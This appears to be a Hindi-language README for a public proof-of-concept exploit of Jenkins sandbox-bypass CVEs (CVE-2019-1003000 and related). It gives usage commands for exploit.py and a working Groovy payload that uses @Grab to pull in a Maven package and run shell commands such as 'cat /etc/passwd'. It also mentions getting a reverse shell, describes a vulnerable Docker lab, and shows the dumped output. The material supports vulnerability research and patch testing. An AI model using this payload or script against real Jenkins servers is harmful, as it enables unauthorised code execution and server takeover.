
Jenkins RCE प्रूफ-ऑफ-कॉन्सेप्ट: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
एक प्रूफ़ ऑफ़ कॉन्सेप्ट जो Overall/Read अनुमति और Job/Configure (और वैकल्पिक रूप से Job/Build) वाले उपयोगकर्ताओं को सैंडबॉक्स सुरक्षा को बायपास करने और Jenkins मास्टर या नोड पर मनमाना कोड निष्पादित करने की अनुमति देता है।
अपडेट: Orange Tsai द्वारा लिखा गया एक लेख जो CVE-2018-1000861 और CVE-2019-1003000 का उपयोग करने वाली एक्सप्लॉइट श्रृंखला की व्याख्या करता है, जो प्री-ऑथ RCE के लिए Overall/Read अनुमति की आवश्यकता को बायपास करती है: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt
लक्ष्य URL, जॉब नाम, उपयोगकर्ता नाम/पासवर्ड क्रेडेंशियल और निष्पादित की जाने वाली सिस्टम कमांड को तर्कों के रूप में पास करें।
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
Red Hat Bugzilla - Bug 1667566 से उद्धृत:
Pipeline: Declarative Plugin संस्करण 1.3.4.1 से पहले, Pipeline: Groovy Plugin संस्करण 2.61.1 से पहले और Script Security Plugin संस्करण 1.50 से पहले में एक दोष पाया गया। स्क्रिप्ट संकलन चरण के दौरान स्रोत कोड तत्वों पर @Grab जैसे AST परिवर्तन एनोटेशन लागू करके Script Security सैंडबॉक्स सुरक्षा को दरकिनार किया जा सकता था। पाइपलाइन सत्यापन REST APIs और वास्तविक स्क्रिप्ट/पाइपलाइन निष्पादन दोनों प्रभावित हैं। इससे Overall/Read अनुमति वाले उपयोगकर्ता, या SCM में Jenkinsfile या सैंडबॉक्स्ड पाइपलाइन साझा लाइब्रेरी सामग्री को नियंत्रित करने में सक्षम उपयोगकर्ता, सैंडबॉक्स सुरक्षा को बायपास करके Jenkins मास्टर या नोड पर मनमाना कोड निष्पादित कर सकते थे। Groovy में सभी ज्ञात असुरक्षित AST परिवर्तन अब सैंडबॉक्स्ड स्क्रिप्ट में प्रतिबंधित हैं।
यह PoC Overall/Read और Job/Configure अनुमति वाले उपयोगकर्ता का उपयोग करके सैंडबॉक्स मोड में दुर्भावनापूर्ण रूप से संशोधित बिल्ड स्क्रिप्ट निष्पादित करता है, और मनमानी स्क्रिप्ट चलाने के लिए सैंडबॉक्स मोड की सीमा को बायपास करने का प्रयास करता है (इस मामले में, हम सिस्टम कमांड निष्पादित करेंगे)।
पृष्ठभूमि के रूप में, Jenkins की पाइपलाइन बिल्ड स्क्रिप्ट ग्रूवी में लिखी जाती है। यह बिल्ड स्क्रिप्ट Jenkins मास्टर या नोड पर संकलित और निष्पादित की जाएगी, जिसमें पाइपलाइन की परिभाषा होती है, जैसे स्लेव नोड्स पर क्या करना है। Jenkins स्क्रिप्ट को सैंडबॉक्स मोड में निष्पादित करने की सुविधा भी प्रदान करता है। सैंडबॉक्स मोड में, सभी खतरनाक फ़ंक्शन ब्लैकलिस्टेड होते हैं, इसलिए नियमित उपयोगकर्ता Jenkins सर्वर के लिए कुछ भी दुर्भावनापूर्ण नहीं कर सकता।
हालाँकि, चूंकि बिल्ड स्क्रिप्ट ग्रूवी में लिखी जाती है, हम Java पैकेजों में किसी भी क्लास या फ़ंक्शन का उपयोग कर सकते हैं (हालाँकि सैंडबॉक्स मोड में, खतरनाक अंतर्निहित फ़ंक्शन ब्लैकलिस्टेड होते हैं)। इस मामले में, हम बाहरी मावेन रिपॉजिटरी से मनमाने Java पैकेज आयात करने के लिए Jenkins को बाध्य करने हेतु AST परिवर्तन एनोटेशन @Grab का उपयोग कर रहे हैं। इस PoC में, मैं सिस्टम शेल कमांड चलाने के लिए org.buildobjects:jproc:2.2.3 में परिभाषित ProcBuilder क्लास का उपयोग करता हूँ।
पेलोड नीचे दिए अनुसार परिभाषित है:
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
उपरोक्त स्क्रिप्ट Jenkins मास्टर या नोड पर संकलित और निष्पादित की जाएगी। जॉब बिल्ड पूरा होने के बाद, हम जॉब कंसोल आउटपुट में शेल कमांड cat /etc/passwd का परिणाम देख सकते हैं। इसके अलावा, हम रिवर्स शेल प्राप्त करने के लिए इस RCE का उपयोग कर सकते हैं, और सचमुच Jenkins सर्वर को pwn कर सकते हैं!
इस रिपॉजिटरी में sample-vuln निर्देशिका में Docker कंटेनर प्रारूप में एक उदाहरण भेद्य Jenkins प्रदान किया गया है। बूट होने के बाद, कंटेनर इमेज में tcp/8080 पोर्ट पर होस्ट की गई एक Jenkins साइट होगी, जिसमें user1:user1 क्रेडेंशियल के साथ Overall/Read + Job/Configure + Job/Build अनुमति वाला एक नियमित उपयोगकर्ता और my-pipeline आईडी वाली पाइपलाइन जॉब होगी।
$ cd sample-vuln
$ ./run.sh
$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS